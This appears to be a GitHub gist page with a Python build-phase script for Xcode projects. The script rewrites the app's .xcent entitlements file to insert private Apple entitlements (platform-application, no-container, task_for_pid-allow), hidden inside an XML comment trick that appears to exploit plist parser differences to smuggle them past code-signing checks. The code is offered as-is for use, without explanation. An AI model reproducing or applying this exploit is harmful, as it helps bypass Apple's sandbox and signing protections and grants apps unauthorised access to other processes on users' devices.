Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@eugenpirogoff
Forked from ChiChou/phase.py
Created May 1, 2020 06:48
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save eugenpirogoff/0c942b1dd0bb7162e438ab3f0a3d2820 to your computer and use it in GitHub Desktop.
Save eugenpirogoff/0c942b1dd0bb7162e438ab3f0a3d2820 to your computer and use it in GitHub Desktop.
import os
# preinstalled python is python2
filename = '/'.join(map(os.environ.get, ('TARGET_TEMP_DIR', 'FULL_PRODUCT_NAME'))) + '.xcent'
evil = '''
<!---><!-->
<key>platform-application</key>
<true/>
<key>com.apple.private.security.no-container</key>
<true/>
<key>task_for_pid-allow</key>
<true/>
<!-- -->
'''
with open(filename, 'r') as fp:
buf = fp.read()
cursor = buf.rfind('</dict>')
output = buf[0:cursor] + evil + buf[cursor:]
with open(filename, 'w') as fp:
fp.write(output)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment